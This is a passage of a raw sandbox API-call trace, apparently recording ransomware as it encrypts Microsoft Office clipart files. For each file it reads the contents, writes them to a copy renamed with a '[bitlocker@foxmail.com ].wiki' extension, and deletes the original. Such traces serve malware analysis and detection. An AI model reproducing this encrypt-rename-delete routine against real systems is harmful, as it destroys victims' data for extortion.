[0061.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0061.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0061.371] lstrlenW (lpString=".doc") returned 4 [0061.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.371] lstrlenW (lpString=".docx") returned 5 [0061.371] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.371] lstrlenW (lpString=".pdf") returned 4 [0061.371] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.371] lstrlenW (lpString=".xls") returned 4 [0061.371] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.371] lstrlenW (lpString=".xlsx") returned 5 [0061.371] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.371] lstrlenW (lpString=".ppt") returned 4 [0061.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0061.371] lstrlenW (lpString=".zip") returned 4 [0061.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.371] lstrlenW (lpString=".rar") returned 4 [0061.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.372] lstrlenW (lpString=".bz2") returned 4 [0061.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.372] lstrlenW (lpString=".7z") returned 3 [0061.372] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0061.372] lstrlenW (lpString=".dbf") returned 4 [0061.372] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0061.372] lstrlenW (lpString=".1cd") returned 4 [0061.372] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0061.372] lstrlenW (lpString=".jpg") returned 4 [0061.372] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.372] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.372] lstrlenW (lpString="AN04323_.WMF") returned 12 [0061.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.373] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=2492) returned 1 [0061.373] CloseHandle (hObject=0x180) returned 1 [0061.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 0x20 [0061.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.373] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.373] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0061.373] GetLastError () returned 0x0 [0061.373] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x9bc, lpOverlapped=0x0) returned 1 [0061.375] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0061.376] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.376] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.376] SetEndOfFile (hFile=0x20c) returned 1 [0061.376] CloseHandle (hObject=0x20c) returned 1 [0061.376] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.376] SetEndOfFile (hFile=0x180) returned 1 [0061.377] CloseHandle (hObject=0x180) returned 1 [0061.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0061.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0061.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0061.377] lstrlenW (lpString=".doc") returned 4 [0061.377] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.377] lstrlenW (lpString=".docx") returned 5 [0061.377] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.377] lstrlenW (lpString=".pdf") returned 4 [0061.377] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.377] lstrlenW (lpString=".xls") returned 4 [0061.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.378] lstrlenW (lpString=".xlsx") returned 5 [0061.378] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.378] lstrlenW (lpString=".ppt") returned 4 [0061.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0061.378] lstrlenW (lpString=".zip") returned 4 [0061.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.378] lstrlenW (lpString=".rar") returned 4 [0061.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.378] lstrlenW (lpString=".bz2") returned 4 [0061.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.378] lstrlenW (lpString=".7z") returned 3 [0061.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0061.378] lstrlenW (lpString=".dbf") returned 4 [0061.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0061.378] lstrlenW (lpString=".1cd") returned 4 [0061.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0061.378] lstrlenW (lpString=".jpg") returned 4 [0061.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0061.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0061.378] lstrlenW (lpString=".doc") returned 4 [0061.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.378] lstrlenW (lpString=".docx") returned 5 [0061.378] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.378] lstrlenW (lpString=".pdf") returned 4 [0061.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.378] lstrlenW (lpString=".xls") returned 4 [0061.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.378] lstrlenW (lpString=".xlsx") returned 5 [0061.378] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.378] lstrlenW (lpString=".ppt") returned 4 [0061.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0061.379] lstrlenW (lpString=".zip") returned 4 [0061.379] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.379] lstrlenW (lpString=".rar") returned 4 [0061.379] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.379] lstrlenW (lpString=".bz2") returned 4 [0061.379] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.379] lstrlenW (lpString=".7z") returned 3 [0061.379] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0061.379] lstrlenW (lpString=".dbf") returned 4 [0061.379] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0061.379] lstrlenW (lpString=".1cd") returned 4 [0061.379] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0061.379] lstrlenW (lpString=".jpg") returned 4 [0061.379] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.379] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.379] lstrlenW (lpString="AN04326_.WMF") returned 12 [0061.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.379] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=3348) returned 1 [0061.379] CloseHandle (hObject=0x180) returned 1 [0061.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 0x20 [0061.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.380] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.380] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0061.380] GetLastError () returned 0x0 [0061.380] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0xd14, lpOverlapped=0x0) returned 1 [0061.599] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xd20, lpOverlapped=0x0) returned 1 [0061.600] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.601] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.601] SetEndOfFile (hFile=0x20c) returned 1 [0061.846] CloseHandle (hObject=0x20c) returned 1 [0061.846] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.846] SetEndOfFile (hFile=0x180) returned 1 [0061.847] CloseHandle (hObject=0x180) returned 1 [0061.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0062.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0062.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0062.451] lstrlenW (lpString=".doc") returned 4 [0062.451] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.451] lstrlenW (lpString=".docx") returned 5 [0062.451] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.451] lstrlenW (lpString=".pdf") returned 4 [0062.451] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.451] lstrlenW (lpString=".xls") returned 4 [0062.451] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.451] lstrlenW (lpString=".xlsx") returned 5 [0062.451] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.451] lstrlenW (lpString=".ppt") returned 4 [0062.451] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0062.451] lstrlenW (lpString=".zip") returned 4 [0062.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.451] lstrlenW (lpString=".rar") returned 4 [0062.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.451] lstrlenW (lpString=".bz2") returned 4 [0062.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.451] lstrlenW (lpString=".7z") returned 3 [0062.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0062.451] lstrlenW (lpString=".dbf") returned 4 [0062.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0062.451] lstrlenW (lpString=".1cd") returned 4 [0062.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0062.451] lstrlenW (lpString=".jpg") returned 4 [0062.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0062.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0062.451] lstrlenW (lpString=".doc") returned 4 [0062.452] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.452] lstrlenW (lpString=".docx") returned 5 [0062.452] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.452] lstrlenW (lpString=".pdf") returned 4 [0062.452] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.452] lstrlenW (lpString=".xls") returned 4 [0062.452] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.452] lstrlenW (lpString=".xlsx") returned 5 [0062.452] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.452] lstrlenW (lpString=".ppt") returned 4 [0062.452] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0062.452] lstrlenW (lpString=".zip") returned 4 [0062.452] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.452] lstrlenW (lpString=".rar") returned 4 [0062.452] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.452] lstrlenW (lpString=".bz2") returned 4 [0062.452] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.452] lstrlenW (lpString=".7z") returned 3 [0062.452] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0062.452] lstrlenW (lpString=".dbf") returned 4 [0062.452] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0062.452] lstrlenW (lpString=".1cd") returned 4 [0062.452] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0062.452] lstrlenW (lpString=".jpg") returned 4 [0062.452] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.452] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0062.452] lstrlenW (lpString="AN04384_.WMF") returned 12 [0062.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0063.503] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=4996) returned 1 [0063.503] CloseHandle (hObject=0x1f4) returned 1 [0063.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 0x20 [0063.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0063.503] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.503] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.504] GetLastError () returned 0x0 [0063.504] ReadFile (in: hFile=0x1f4, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x1384, lpOverlapped=0x0) returned 1 [0063.505] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0063.506] ReadFile (in: hFile=0x1f4, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.506] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.506] SetEndOfFile (hFile=0x1a4) returned 1 [0063.506] CloseHandle (hObject=0x1a4) returned 1 [0063.507] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.507] SetEndOfFile (hFile=0x1f4) returned 1 [0063.507] CloseHandle (hObject=0x1f4) returned 1 [0063.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.508] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0063.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0063.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0063.508] lstrlenW (lpString=".doc") returned 4 [0063.508] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.508] lstrlenW (lpString=".docx") returned 5 [0063.508] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.508] lstrlenW (lpString=".pdf") returned 4 [0063.508] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.508] lstrlenW (lpString=".xls") returned 4 [0063.508] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.508] lstrlenW (lpString=".xlsx") returned 5 [0063.508] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.508] lstrlenW (lpString=".ppt") returned 4 [0063.508] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0063.508] lstrlenW (lpString=".zip") returned 4 [0063.508] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.508] lstrlenW (lpString=".rar") returned 4 [0063.508] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.508] lstrlenW (lpString=".bz2") returned 4 [0063.508] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.508] lstrlenW (lpString=".7z") returned 3 [0063.509] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0063.509] lstrlenW (lpString=".dbf") returned 4 [0063.509] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0063.509] lstrlenW (lpString=".1cd") returned 4 [0063.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0063.509] lstrlenW (lpString=".jpg") returned 4 [0063.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0063.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0063.509] lstrlenW (lpString=".doc") returned 4 [0063.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.509] lstrlenW (lpString=".docx") returned 5 [0063.509] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.509] lstrlenW (lpString=".pdf") returned 4 [0063.509] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.509] lstrlenW (lpString=".xls") returned 4 [0063.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.509] lstrlenW (lpString=".xlsx") returned 5 [0063.509] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") 